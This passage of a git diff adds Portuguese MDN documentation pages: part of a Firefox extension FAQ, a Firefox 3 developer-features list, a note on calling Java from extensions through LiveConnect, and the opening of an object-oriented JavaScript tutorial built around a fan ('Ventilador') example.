id="Por_que_meu_c.C3.B3digo_n.C3.A3o_roda_corretamente.3F">Por que meu código não roda corretamente?</h4> +<p>Se o seu código não trabalha como o esperado, a primeira coisa que você deve fazer é checar o console JavaScript (veja <a href="#Como_eu_posso_ver_os_erros_no_meu_c.C3.B3digo.3F">sobre</a>).</p> +<p>Um erro comum é tentar acessar a DOM (Document Object Model - Modelo de objeto do documento) de uma janela antes que ela esteja totalmente carregada. Isso acontece se você coloca o código de inicialização no topo do seu código -script- (i.e. fora de qualquer função). O conserto é usar um <code>load</code> para listar eventos para travar seu código até que a janela termine de carregar:</p> +<pre class="eval">function exampleBrowserStartup(event) +{ + // coloque o código de inicialização aqui +} +window.addEventListener("load", exampleBrowserStartup, false); +</pre> +<h4 id="Acessando_um_documento_de_uma_p.C3.A1gina_que_n.C3.A3o_funciona">Acessando um documento de uma página que não funciona</h4> +<p>Para acessar um documento de uma página web atual através do browser.xul overlay, você deve usar o <code>content.document</code>, ao invés de apenas <code>document</code> que é o próprio documento da janela do navegador. Veja <a href="/pt/Working_with_windows_in_chrome_code#Content_windows" title="pt/Working_with_windows_in_chrome_code#Content_windows">en:Working with windows in chrome code</a> para mais detalhes. Você pode também, por padrão <a href="/en/XPCNativeWrapper">en:XPCNativeWrapper</a> que previne você de acessar através do acesso de um "script-defined objects" na página web e fazer outras tarefas.</p> +<h4 id="Aparece_um_erro_de_an.C3.A1lise_XML.2C_mas_o_arquivo_parece_correto.21">Aparece um erro de análise XML, mas o arquivo parece correto!</h4> +<p>Uma fonte comum de erros de análise (como <font color="red">texto vermelho</font> com uma <font color="red">-------------^</font> abaixo) é um caracter & ou um < em seu código ou um valor de atributo, que tem uma função especial em XML. Por exemplo:</p> +<pre class="eval"><button oncommand="window.open('<span class="nowiki">http://example.com/</span>q?param1=value<strong>&param2</strong>=val2')"/> +</pre> +<p>ou</p> +<pre class="eval"><script>function lesser(a,b) { return <strong>a < b</strong> ? a : b; }</script> +</pre> +<p>O problema pode ser resolvido por uma das seguintes formas:</p> +<ol> <li>substitua o caracter que não é representação de conflito XML (Exemplo: "&" -> "&amp;"<" -> "&lt;")</li> <li>(em caso de ser um nó de texto, como um código) coloque tags de CDATA ao redor: <pre><script><![CDATA[ + function lesser(a,b) { + return a < b ? a : b; + } + ]]></script></pre> </li> <li>Coloque seu código em um arquivo separado e inclua o nome dele: <pre><script type="application/x-javascript" src="seucodigo.js"/></pre> </li> +</ol> +<h3 id="C.C3.B3digo_de_Exemplo">Código de Exemplo</h3> +<p>A forma mais fácil para encontrar o código que você precisa para usar em algo útil é procurar uma extensão (ou parte do Mozilla mesmo) Isso faz o código e mostra como um código. (Os arquivos XPI e JAR usam o formato ZIP). Encontram-se algumas documentações em: <a href="/Special:Tags?tag=Extensões&language=pt" title="Special:Tags?tag=Extensões&language=pt">lista de artigos relacionados com extensões no MDC</a>, <a href="/en/Code_snippets">en:Code snippets</a>, e <a class="external" href="http://kb.mozillazine.org/Category:Example_code">Example code page on MozillaZine</a>.</p> +<h3 id="Onde_posso_encontrar_mais_ajuda.3F">Onde posso encontrar mais ajuda?</h3> +<p>Por favor veja <a href="/en/Extensions/Other_Resources">en:Extensions:Other Resources</a> e <a href="/pt/Extensões/Comunidade" title="pt/Extensões/Comunidade">Extensões:Comunidade</a>.</p> +<p>Antes de pedir ajuda, tenha certeza de configurar as <a href="#Depurando">preferências de depuração</a> e <a href="#Como_eu_posso_mostrar_o_que_minha_extens.C3.A3o_est.C3.A1_fazendo.3F">cheque o console JavaScript</a> para mensagens relacionadas. Também, não esqueça de fazer uma pequena busca antes de perguntar. E leia este FAQ!</p> +<p><span class="comment">Categorias</span></p> +<p><span class="comment">Interwiki Language Link</span></p> +<p>{{ languages( { "en": "en/Extension_Frequently_Asked_Questions", "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ja": "ja/Extension_Frequently_Asked_Questions" } ) }}</p> diff --git a/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html b/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html new file mode 100644 index 0000000000..0775f2c802 --- /dev/null +++ b/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html @@ -0,0 +1,81 @@ +--- +title: Firefox 3 para desenvolvedores +slug: Firefox_3_para_desenvolvedores +--- +<p><span class="comment">Vou incluir documentos abaixo na lista: -- Quer estar adiante da curva e certificar-se que suas extensões, web sites ou aplicações estão prontas para a próxima geração do Firefox? Verifique em nosso conteúdo especialmente organizado para suas necessidades: * <a href="/pt/Atualizando_extensões_para_o_Firefox_3">Atualizando extensões para o Firefox 3</a> * <a href="/pt/Atualizando_aplicações_web_para_o_Firefox_3">Atualizando aplicações web para o Firefox 3</a></span></p> +<h2 id="Novas_caracter.C3.ADsticas_para_desenvolvedores_no_Firefox_3" name="Novas_caracter.C3.ADsticas_para_desenvolvedores_no_Firefox_3">Novas características para desenvolvedores no Firefox 3</h2> +<p>O Firefox 3 será liberado em breve, e já existe um número interessante de mudanças implementadas. Abaixo está uma lista de algumas das características.</p> +<h3 id="Para_desenvolvedores_de_aplica.C3.A7.C3.B5es_e_web_sites" name="Para_desenvolvedores_de_aplica.C3.A7.C3.B5es_e_web_sites">Para desenvolvedores de aplicações e web sites</h3> +<p>Veja também <a href="/pt/Mudanças_no_Gecko_1.9_que_afetam_websites" title="pt/Mudanças_no_Gecko_1.9_que_afetam_websites">Mudanças no Gecko 1.9 que afetam websites</a>.</p> +<h4 id="Web_Applications_1.0" name="Web_Applications_1.0">Web Applications 1.0</h4> +<p><em>Mark Finkle (mfinkle em #devmo) dirige o trabalho de documentação nas Web Applications 1.0</em></p> +<ul> <li>Suporte a <a href="/pt/Manipuladores_de_protocolo_web" title="pt/Manipuladores_de_protocolo_web">manipuladores de protocolos baseados na web</a></li> <li>Suporte experimental <code><a ping></code> ({{ Bug(319368) }}, <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#ping">current spec</a>)</li> <li>WHATWG <a href="/pt/Eventos_online_e_offline" title="pt/Eventos_online_e_offline">Eventos online e offline</a> agora são suportados, permitindo a aplicações e extensões detectar se há uma conexão de internet disponível ou não.</li> <li>APIs para folhas de estilo alternativas ({{ Bug(200930) }}, <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">especificação atual</a>)</li> <li>O método DOM <code><a href="/pt/DOM/document.getElementsByClassName" title="pt/DOM/document.getElementsByClassName">getElementsByClassName()</a></code> agora é suportado.</li> <li>Suporte aos métodos <code>transform()</code> e <code>setTransform()</code> do elemento <code><canvas></code> ({{ Bug(357450) }}, <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#transform">especificação atual</a>)</li> <li>Suporte a <code>contentEditable</code> (<a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#contenteditable1">especificação atual</a>)</li> +</ul> +<div class="note"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">Aplicações Web 1.0</a> (HTML5, XHTML5) é ainda um esboço sendo trabalhado, não final.</div> +<h4 id="Recursos_offline" name="Recursos_offline">Recursos offline</h4> +<p>A implementação está em progresso - veja {{ Bug(367447) }} e dependências. <em>Spec</em> em progresso está em <a class="external" href="http://www.campd.org/stuff/Offline%20Cache.html">http://www.campd.org/stuff/Offline Cache.html</a>.</p> +<h4 id="CSS" name="CSS"><a href="/pt/CSS" title="pt/CSS">CSS</a></h4> +<p><em>Eric Shepherd (sheppy em #devmo) dirige a documentação CSS para o Firefox 3.</em></p> +<ul> <li>Os valores das propriedades <code>inline-block</code> e <code>inline-table</code> do {{ Cssxref("display") }} estão agora implementadas.</li> <li>A propriedade {{ Cssxref("font-size-adjust") }} agora trabalha em todas as plataformas; anteriormente era somente suportada no Windows.</li> <li>Suporte a valores de cores <code>rgba()</code> e <code>hsla()</code> ({{ Bug(147017) }})</li> <li>Suporte a pseudo-classe <code>:default</code> ({{ Bug(302186) }})</li> <li>Os valores <code>-moz-intrinsic</code>, <code>-moz-min-intrinsic</code>, <code>-moz-shrink-wrap</code> e <code>-moz-fill</code> foram adicionados a {{ Cssxref("width") }}, {{ Cssxref("min-width") }} e {{ Cssxref("max-width") }} ({{ Bug(311415) }})</li> +</ul> +<h4 id="DOM" name="DOM">DOM</h4> +<ul> <li>As extensões DOM <code><a href="/pt/DOM/element.clientTop" title="pt/DOM/element.clientTop">clientTop</a></code> e <code><a href="/pt/DOM/element.clientLeft" title="pt/DOM/element.clientLeft">clientLeft</a></code> do Internet Explorer são agora suportadas.</li> <li>A propriedade <code><a href="/pt/DOM/window.fullScreen" title="pt/DOM/window.fullScreen">window.fullScreen</a></code> é agora sempre exata, não importa onde seja lida, mesmo no conteúdo. Anteriormente era necessário retornar incorretamente <code>false</code> ({{ Bug(127013) }}).</li> +</ul> +<h4 id="JavaScript" name="JavaScript">JavaScript</h4> +<ul> <li>O suporte para <a href="/pt/Novidades_no_Javascript_1.8" title="pt/Novidades_no_Javascript_1.8">JavaScript 1.8</a> está em progresso ({{ Bug(380236) }}). <em><a href="/User:Jresig" title="User:Jresig">John Resig</a> dirigirá o trabalho de documentação neste tópico.</em> <ul> <li>Tudo que foi implementado já está documentado na página <a href="/pt/Novidades_no_Javascript_1.8" title="pt/Novidades_no_Javascript_1.8">JavaScript 1.8</a>.</li> <li>Veja este <a class="external" href="http://ejohn.org/blog/javascript-18-progress/"><em>blog post</em></a> para alguma informação adicional.</li> </ul> </li> +</ul> +<h4 id="XSLT.2FXPath" name="XSLT.2FXPath">XSLT/XPath</h4> +<ul> <li>Suporte ao <code>node-set</code> ({{ Bug(193678) }}, <a class="external" href="http://www.exslt.org/exsl/exsl.html">spec</a>)</li> <li>Suporte a expressões regulares ({{ Bug(354886) }}, <a class="external" href="http://www.exslt.org/regexp/index.html">spec</a>)</li> +</ul> +<h4 id="SVG" name="SVG"><a href="/pt/SVG" title="pt/SVG">SVG</a></h4> +<ul> <li>Suporte ao elemento <code>foreignObject</code> ({{ Bug(326966) }}, <a class="external" href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement">spec</a>, <a class="external" href="http://weblogs.mozillazine.org/roc/archives/2006/06/the_future_is_now.html">veja também</a>). <em>mfinkle</em></li> <li>Suporte ao elemento <code>pattern</code> (<a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#PatternElement">spec</a>)</li> <li>Suporte ao elemento <code>mask</code> (<a class="external" href="http://www.w3.org/TR/SVG11/masking.html#MaskElement">spec</a>)</li> <li>Suporte a filtros SVG (<a class="external" href="http://www.w3.org/TR/SVG11/filters.html">spec</a>) <ul> <li><code>filter</code></li> <li><code>feBlend</code></li> <li><code>feComponentTransfer</code>, <code>feFuncR</code>, <code>feFuncG</code>, <code>feFuncB</code>, <code>feFuncA</code></li> <li><code>feComposite</code></li> <li><code>feFlood</code></li> <li><code>feGaussianBlur</code></li> <li><code>feMerge</code>, <code>feMergeNode</code></li> <li><code>feMorphology</code></li> <li><code>feOffset</code></li> <li><code>feTurbulence</code></li> </ul> </li> <li>O elemento <code>a</code> tornou-se <code>nsSVGAElement</code> em vez de XBL binding.</li> <li>Várias funções do DOM para textos foram implementadas.</li> +</ul> +<h3 id="Para_desenvolvedores_de_extens.C3.B5es_e_XUL" name="Para_desenvolvedores_de_extens.C3.B5es_e_XUL">Para desenvolvedores de extensões e XUL</h3> +<h4 id="Novos_elementos_XUL" name="Novos_elementos_XUL">Novos elementos XUL</h4> +<p><em>Mark Finkle (mfinkle in #devmo) dirige a documentação de novos elementos XUL.</em></p> +<p>O XUL no Firefox 3 suporta um número de novos elementos:</p> +<ul> <li>O novo elemento <code><a href="/pt/XUL/scale" title="pt/XUL/scale"><scale></a></code> permite a criação de escalas móveis que deixam o usuário selecionar qualquer valor em um alcance especificado. Esta bugiganga pode ser usada tipicamente, por exemplo, para criar um controle de volume.</li> <li>Um novo valor, <code>number</code>, para o atributo de caixas de texto <code>type</code> cria uma caixa de texto em que somente podem entrar números. Em adição, botões de flecha aparecem de um lado que pode ser usado como passo através de valores. {{ interwiki('wikimo', 'XUL:Specs:NumberBox', 'Para mais informações sobre caixas de texto numéricas') }} ({{ Bug(345510) }})</li> <li>Um elemento <code><dropmarker></code> que foi adicionado é útil na criação de bugigangas como menus usando XBL bindings. ({{ Bug(348614) }})</li> <li>Um elemento <code><spinbuttons></code> que foi adicionado pode ser usado na criação de bugigangas usando XBL bindings. ({{ Bug(155053) }})</li> <li>Duas bugigangas, <code><datepicker></code> e <code><timepicker></code>, podem ser usadas para permitir a entrada de datas e tempos. O datepicker está disponível em um número de estilos por configuração do atributo <code>type</code>, para permitir a entrada com caixas de texto ou uma grade de calendário. {{ interwiki('wikimo', 'XUL:Specs:DateTimePickers', 'Para mais informações sobre datepicker') }} <a href="/pt/XUL/datepicker" title="pt/XUL/datepicker">Referência do Datepicker</a> <a href="/pt/XUL/timepicker" title="pt/XUL/timepicker">Referência do Timepicker</a></li> +</ul> +<h4 id="Melhorias_da_.C3.A1rvore" name="Melhorias_da_.C3.A1rvore">Melhorias da árvore</h4> +<ul> <li>Árvores agora suportam rolagem horizontal. Uma barra de rolagem horizontal aparecerá se as colunas não couberem na largura disponível. Isto ocorrerá se as colunas tiverem larguras especificadas maiores do que o espaço disponível. ({{ Bug(212789) }})</li> <li>Uma nova seleção de estilos permite que as células sejam selecionadas individualmente, em vez de fileiras inteiras. Isto pode ser usado configurando-se o atributo <code>seltype</code> em uma árvore de <code>'cell'</code>. ({{ Bug(296040) }})</li> <li>Árvores agora suportam edição de células individuais. Um duplo-clique em uma célula editável exibirá um campo de texto em que o usuário pode editar o conteúdo de uma célula. {{ interwiki('wikimo', 'XUL:Tree', 'Mais detalhes') }} ({{ Bug(201499) }})</li> <li>Os elementos <code><treecol></code> agora suportam um atributo <code>overflow</code> que pode ser configurado verdadeiro para permitir o texto de células dentro dessa coluna para expandir para expandir à células vizinhas vazias se o texto for muito grande para caber dentro de uma célula simples.</li> +</ul> +<h4 id="Melhorias_do_menu" name="Melhorias_do_menu">Melhorias do menu</h4> +<p>Sérias melhorias nos elementos <code><menu></code> e <code><menulist></code> foram feitas ({{ Bug(333023) }}):</p> +<ul> <li>O atributo <code>image</code> é usado consistentemente para configurar imagens</li> <li>Listas de menu despendem o evento selecionado quando selecionando um item</li> <li>As propriedades <code>inputField</code> e <code>editable</code> foram adicionadas a lista de menu</li> <li>Os elementos <code><menu></code>, <code><menuitem></code> e <code><menuseparator></code> agora têm uma propriedade <code>selected</code> somente leitura que recupera se o item é selecionado em uma <menulist></li> <li>Os elementos <code><menu></code>, <code><menuitem></code> e <code><menuseparator></code> agora têm uma propriedade <code>control</code> somente leitura que retorna incluindo <menulist></li> <li>Os elementos <code><menu></code>, <code><menuitem></code> e <code><menuseparator></code> agora suportam as propriedades <code>accessKey</code>, <code>disabled</code>, <code>crop</code>, <code>image</code> e <code>label</code> que configuram o atributo correspondente.</li> <li>O elemento <code><menu></code> agora tem métodos para anexar, inserir e remover itens do menu. ({{ Bug(372552) }})</li> <li>Suporta uma propriedade <code>editor</code> para pegar um <a href="/pt/NsIEditor" title="pt/NsIEditor">nsIEditor</a> interno para o campo de texto de uma lista de menu editável. ({{ Bug(312867) }})</li> <li>Menus podem agora ser feitos trasnlúcidos em plataformas que suportam isso. ({{ Bug(70798) }})</li> +</ul> +<h4 id="Melhorias_da_caixa_de_texto" name="Melhorias_da_caixa_de_texto">Melhorias da caixa de texto</h4> +<ul> <li>Configurando o atributo <code>spellcheck</code> para <code>'true'</code> em uma caixa de texto habilitará a checagem gramatical em linha para esta caixa de texto. ({{ Bug(346787) }})</li> <li>O <code><textbox></code> agora tem um método <code>reset()</code> para restaurar o valor da caixa de texto para o valor padrão. A propriedade <code>defaultValue</code> pode ser usada para reaver e modificar o valor pardrão da caixa de texto. ({{ Bug(312867) }})</li> <li>Suporta uma propriedade <code>editor</code> para pegar o interno <a href="/pt/NsIEditor" title="pt/NsIEditor">nsIEditor</a> para um campo de texto. ({{ Bug(312867) }})</li> <li><code>texbox</code> agora suporta um atributo <code>newlines</code> que especifica como as quebras de linha em textos colados são manipuladas. ({{ Bug(253481) }}) Valores possíveis são: <ul> <li><code>pasteintact</code> - cola tudo como é</li> <li><code>pastetofirst</code> - (valor padrão) cola somente até a primeira quebra de linha</li> <li><code>replacewithspaces</code> - substitui as quebras de linha por espaços em branco</li> <li><code>replacewithcommas</code> - substitui as quebras de linha por vírgula</li> <li><code>strip</code> - tira todas as quebras de linha</li> <li><code>stripsurroundingwhitespace</code> - tira todas as quebras de linha e espaço em branco adjacente</li> </ul> </li> +</ul> +<h4 id="Melhorias_para_outros_elementos" name="Melhorias_para_outros_elementos">Melhorias para outros elementos</h4> +<ul> <li>O atributo <code>type</code> em um <code><button></code> pode ser configurado para <code>'repeat'</code> para criar botões que têm seus comandos de eventos repetidos enquanto o botão do mouse estiver pressionado. ({{ Bug(331055) }})</li> <li>O atributo <code>buttondisabledaccept</code> pode agora ser usado no elemento <code><dialog></code> para botões de aceitação (OK) inicialmente habilitados. ({{ Bug(247849) }})</li> <li>O elemento <code><titlebar></code> agora suporta o atributo <code>allowevents</code> para permitir eventos passarem às crianças da barra de título. ({{ Bug(361425) }})</li> <li>O <code><splitter></code> agora suporta um valor adicional para o atributo <code>collapse</code> de <code>'both'</code> que indica que o divisor pode derrubar elementos em ambos os lados disso quando arrastado. O atributo <code>substate</code> configurará qualquer antes ou depois quando está derrubado. ({{ Bug(337955) }})</li> <li>O elemento <code><richlistbox></code> agora suporta múltipla seleção. Configue o atributo <code>seltype</code> para <code>'multiple'</code> para habilitar isto.</li> +</ul> +<h4 id="Mudan.C3.A7as_na_disposi.C3.A7.C3.A3o" name="Mudan.C3.A7as_na_disposi.C3.A7.C3.A3o">Mudanças na disposição</h4> +<p><em>A documentação de modelos está sendo dirigida por Mark Finkle (mfinkle em #devmo).</em></p> +<p>Os modelos tiveram significativas melhoras no Firefox 3. A melhora da chave permite o uso de processadores customizados inquirir para manipular outros tipos de códigos de dados adicionalmente ao RDF. Uma nova sintaxe de inquisição torna isto possível. Uma descrição completa das novas características disponíveis para modelos {{ interwiki('wikimo', 'XUL:Template_Features_in_1.9', 'está disponível') }}. ({{ Bug(285631) }})</p> +<p>Outras melhoras nos modelos:</p> +<ul> <li>Condições relacionais foram adicionadas para permitir uma maior precisão no controle sobre que resultados formam uma regra. Estas permissões, por exemplo, tornam os resultados que começam ou terminam com certas <em>strings</em>, ou que estão antes ou depois de outros valores.</li> <li>Uma bandeira 'não recurso' foi adicionada para prevenir recursos que aconteçam somente em um nível de resultados que são gerados.</li> <li>APIs foram adicionadas ao construtor de modelos para recuperar um objeto resultado representando um item de saída.</li> <li>O seviço de tipos XUL está mais robusto e classifica ambos conteúdo e não conteúdo em melhores árvores. Isto também permite a classificação de não modelos que constroem conteúdo. ({{ Bug(335122) }})</li> +</ul> +<h4 id="Servi.C3.A7o_inativo" name="Servi.C3.A7o_inativo">Serviço inativo</h4> +<p>Um novo serviço foi adicionado para determinar quanto tempo o usuário está inativo (que é, desde a última vez que ele pressionou uma tecla ou moveu seu mouse). Este serviço implementa a interface <code><a href="/pt/nsIIdleService" title="pt/nsIIdleService">nsIIdleService</a></code>.</p> +<h4 id="Erros_not.C3.A1veis_reparados" name="Erros_not.C3.A1veis_reparados">Erros notáveis reparados</h4> +<ul> <li>Se um erro ocorrer analisando graficamente uma sobreposição, a sobreposição não é aplicada. Erros de análise gramatical são registrados no console de erros. ({{ Bug(355755) }})</li> <li>Erro fixado onde os elementos de <code><menupopup></code> podem ser colocados dentro de um <em>binding</em> quando anexado a um elemento menu ou parecido com menu. ({{ Bug(345896) }})</li> <li>A propriedade do botão <code>dlgType</code> agora trabalha adequadamente. ({{ Bug(308591) }})</li> <li>O argumento <code>canBubble</code> para <a href="/pt/DOM/event.initEvent" title="pt/DOM/event.initEvent">event.initEvent</a> agora trabalha adequadamente então estes eventos podem ser usados que não daram problema. ({{ Bug(330190) }})</li> <li>O evento <code>DOMAttrModified</code> agora funciona adequadamente com atributos de espaçamento nomeados manualmente. ({{ Bug(247095) }})</li> <li>Instruções de processamento XML, como em <code><?xml-stylesheet ?></code>, foram agora adicionados a um documento XUL no DOM. Isto significa que <code>document.firstChild</code> não é garantido como o elemento raiz, em vez disso use <code>document.documentElement</code>. Também, as instruções de processamento <code><?xml-stylesheet ?></code> e <code><?xul-overlay ?></code> agora não tem nenhum efeito fora do documento <em>prolog</em>. ({{ Bug(319654) }})</li> <li>As funções de <code>getElementsByAttributeNS</code> foram adicionadas aos elementos XUL e documentos. ({{ Bug(239976) }})</li> <li>Ouvidores de eventos são mantidos quando movendo ou removendo um elemento de um documento XUL. ({{ Bug(286619) }})</li> <li>Eventos de mutação são agora voltados para documentos não-exibição. ({{ Bug(201238) }})</li> <li>Várias edições com elementos desenhados em ordem errada foram arrumados. ({{ Bug(317375) }})</li> +</ul> +<h4 id="Places" name="Places"><a class="internal" href="/en/Places" title="En/Places">Places</a></h4> +<ul> <li>Comparação da API de Histórico e Favoritos com Fx2</li> <li>Anotações</li> <li>Inquisições sobre Histórico, Favoritos e Anotações</li> <li>Eventos de Histórico e Favoritos</li> <li>Sincronização</li> <li>Lugares das Bugigangas</li> +</ul> +<h4 id="Gerenciador_de_download" name="Gerenciador_de_download">Gerenciador de download</h4> +<ul> <li>O <em>Back-end</em> convertido de RDF para mozStorage (resultou em uma mudança de API para nsIDownloadManager e nsIDownload). ({{ Bug(380250) }})</li> <li>Gerenciador de download pode agora suportar mais do que uma lista de progresso. ({{ Bug(289540) }})</li> <li>Veja <a class="external" href="http://shawnwilsher.com/archives/100">esta página</a> para informações adicionais.</li> +</ul> +<h4 id="Gerenciador_de_senha" name="Gerenciador_de_senha">Gerenciador de senha</h4> +<ul> <li>Reescrito, mudanças na API (veja <a href="/pt/Using_nsILoginManager" title="pt/Using_nsILoginManager">Using_nsILoginManager</a> para exemplos do uso de uma nova API).</li> +</ul> +<h4 id="Coletor_do_ciclo_de_XPCOM" name="Coletor_do_ciclo_de_XPCOM">Coletor do ciclo de XPCOM</h4> +<ul> <li>Veja {{ interwiki('wikimo', 'Interfacing_with_the_XPCOM_cycle_collector', 'Interfacing with the XPCOM cycle collector') }}</li> <li>Veja {{ interwiki('wikimo', 'Global_nsICycleCollector_service', 'Global nsICycleCollector service') }}</li> <li>{{ Bug(333078) }}</li> +</ul> +<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3> +<ul> <li><a class="external" href="http://www.squarefree.com/burningedge/releases/trunk-for-firefox-3.html">Uma lista mais detalhada de mudanças no Firefox 3 em squarefree.com</a></li> <li>{{ interwiki('wikimo', 'Firefox3/Schedule', 'Firefox 3 schedule') }}</li> +</ul> +<p>*<span class="comment"><a href="/en/Updating_extensions_for_Firefox_3">Updating extensions for Firefox 3</a></span></p> +<ul> <li><a href="/pt/Firefox_2_para_desenvolvedores" title="pt/Firefox_2_para_desenvolvedores">Firefox 2 para desenvolvedores</a></li> <li><a href="/pt/Firefox_1.5_para_Desenvolvedores" title="pt/Firefox_1.5_para_Desenvolvedores">Firefox 1.5 para desenvolvedores</a></li> +</ul> +<p>{{ languages( { "en": "en/Firefox_3_for_developers", "fr": "fr/Firefox_3_pour_les_d\u00e9veloppeurs", "ja": "ja/Firefox_3_for_developers", "pl": "pl/Firefox_3_dla_programist\u00f3w", "ko": "ko/Firefox_3_for_developers" } ) }}</p> diff --git a/files/pt-pt/orphaned/java_em_extensões_do_firefox/index.html b/files/pt-pt/orphaned/java_em_extensões_do_firefox/index.html new file mode 100644 index 0000000000..c6d49cd20f --- /dev/null +++ b/files/pt-pt/orphaned/java_em_extensões_do_firefox/index.html @@ -0,0 +1,26 @@ +--- +title: Java em Extensões do Firefox +slug: Java_em_Extensões_do_Firefox +tags: + - Extensões + - Java + - Todas_as_Categorias +--- +<p>Se houver a necessidade de chamar código de Java dentro duma <a href="pt/Extens%c3%a3o">extensão</a> do Firefox, o <a class="external" href="http://en.wikipedia.org/wiki/LiveConnect">LiveConnect</a> poderá ser útil. O LiveConnect dá ao código <a href="pt/JavaScript">JavaScript</a> da sua extensão (ligado ou contido no seu código XUL) acesso a dois objectos: <code>java</code> e <code>Packages</code>. Estes dois objectos tornam possível o uso das classes padrão do JDK. Por exemplo:</p> + +<pre class="eval">var aJavaList = new java.util.LinkedList(); +</pre> + +<p>Se quiser carregar os seus próprios JARs, então pode criar a sua classe carregadora Java. Por exemplo:</p> + +<pre class="eval">var cl = new java.net.URLClassLoader( + [ new java.net.URL('<a class="external" href="http://foo.net/bar.jar'" rel="freelink">http://foo.net/bar.jar'</a>) ] +); + +var aClass = java.lang.Class.forName("org.mozilla.developer.HelloWorld", true, cl); +var aStaticMethod = aClass.getMethod("getGreeting", []); +var greeting = aStaticMethod.invoke(null, []); +alert(greeting); +</pre> + +<p>Esta técnica funciona apenas em código JavaScript ligado dentro de ou contido em ficheiros XUL. Se quiser chamar código Java de dentro de código JavaScript que implementa componentes XPCOM, neste momento só o poderá fazer recorrendo a outra outra técnica (ver <a class="external" href="http://simile.mit.edu/java-firefox-extension/">Java Firefox Extension</a>). Uma boa razão para chamar Java de dentro de um componente XPCOM em vez de XUL é para manter um singleton (tipo de objecto que força a existência de apenas um objecto duma classe )através todas as janelas do Firefox. Se chamar Java pelo XUL então cada janela do Firefox possuirá a sua própria classe e, por consequência, o seu singleton.</p> diff --git a/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html b/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html new file mode 100644 index 0000000000..73ea9e4bc7 --- /dev/null +++ b/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html @@ -0,0 +1,228 @@ +--- +title: Javascript orientado a objetos +slug: Javascript_orientado_a_objetos +tags: + - JavaScript + - OOP + - Todas_as_Categorias +--- +<p>Para um melhor entendimento deste artigo, é necessário algum conhecimento sobre programação orientada a objetos, existem vários artigos na web e bons livros dedicados ao assunto. Tomemos como exemplo de objeto, um ventilador. Ao olharmos para este objeto, podemos identificá-lo dentre outros eletrodomésticos pelas suas características. Outros ventiladores podem apresentar características idênticas, porém são objetos distintos. Um ventilador pode estar desligado ou ligado em algumas velocidades. Detalhes de sua estrutura ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso do mesmo.</p> + +<p>Javascript difere-se de linguagens clássicas orientadas a objeto como Java e C++ principalmente por não possuir uma definição formal de classe. Entretanto possui seu próprio tipo de herança baseada em protótipo e faz uso constante de objetos baseando-se nesse tipo de herança.</p> + +<h3 id="Fun.C3.A7.C3.A3o_construtora_e_propriedades_.2F_Classe_e_atributos" name="Fun.C3.A7.C3.A3o_construtora_e_propriedades_.2F_Classe_e_atributos">Função construtora e propriedades / Classe e atributos</h3> + +<p>Na programação orientada a objetos, é comum utilizar tipos de objetos (classes) personalizados. Essas classes<span id="jsoo1"><sup><a href="/pt/Javascript_orientado_a_objetos#jsoop1" title="pt/Javascript_orientado_a_objetos#jsoop1">1</a></sup></span> são úteis em diversos casos, por exemplo, se seu programa manipula várias formas geométricas, poderiam haver várias classes de objetos como quadrados, retângulos e círculos. Utilizando nosso exemplo, vamos criar a função construtora <strong>Ventilador</strong>, contendo as propriedades<span id="jsoo2"><sup><a href="/pt/Javascript_orientado_a_objetos#jsoop2" title="pt/Javascript_orientado_a_objetos#jsoop2">2</a></sup></span> <strong>velocidadeMaxima</strong> e <strong>ligado</strong>. Observe que a propriedade <strong>velocidadeMaxima</strong> recebe o valor do argumento <strong>velMax</strong>.</p> + +<pre class="brush: js">function Ventilador(velMax) { + this.velocidadeMaxima = velMax; + this.ligado = false; +} +</pre> + +<p>A palavra-chave <code>this</code> é responsável por iniciar o objeto adequadamente.</p> + +<h3 id="Inst.C3.A2ncias" name="Inst.C3.A2ncias">Instâncias</h3> + +<p>A criação de um objeto, ou seja, a instanciação de uma classe é realizada com uso do operador <code>new</code>. Após este operador vem o nome da função construtora, responsável pela inicialização do objeto.</p> + +<p>Alguns exemplos de instanciação:</p> + +<pre class="brush: js">var obj = new Object(); +var data = new Date(); +</pre> + +<p>Seguindo mais uma vez o exemplo do ventilador:</p> + +<pre class="brush: js">var ventilador1 = new Ventilador(3); +</pre> + +<h3 id="Acessando_propriedades" name="Acessando_propriedades">Acessando propriedades</h3> + +<p>Para acessar as propriedades de um objeto você deve utilizar o operador “<code>.</code>” que deve ser precedido de uma referência ao objeto e sucedido pelo nome de uma de suas propriedades.</p> + +<pre class="brush: js">console.log(ventilador1.velocidadeMaxima); // Retorna 3 +</pre> + +<p>Diferente das linguagens clássicas orientadas a objeto, Javascript permite que propriedades sejam adicionadas a qualquer momento durante a execução do código. Por exemplo, vamos adicionar a propriedade <strong>cor</strong> a nosso ventilador:</p> + +<pre class="brush: js">ventilador1.cor = "branco"; +console.log(ventilador1.cor); // Retorna branco +</pre> + +<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3> + +<p>Métodos em Javascript são funções invocadas por objetos. Para criar um novo método, basta atribuir uma função a um nome no objeto utilizando também o operador “<code>.</code>” como ocorre com as propriedades. O exemplo abaixo demonstra como definir o método <strong>ligar</strong> para a classe <strong>Ventilador</strong> utilizando a função <strong>liga</strong> através da propriedade <code>prototype</code>.</p> + +<pre class="brush: js">function liga() { + this.ligado = true; +} +Ventilador.prototype.ligar = liga; +</pre> + +<p>Caso queira adicionar um método a um objeto em particular, pode fazê-lo da seguinte maneira:</p> + +<pre class="brush: js">ventilador2 = new Ventilador(2); +ventilador2.ligar = liga; +</pre> + +<p>Outro uso possível é definir o método na estrutura da classe:</p> + +<pre class="brush: js">function liga() { + this.ligado = true; +} +function 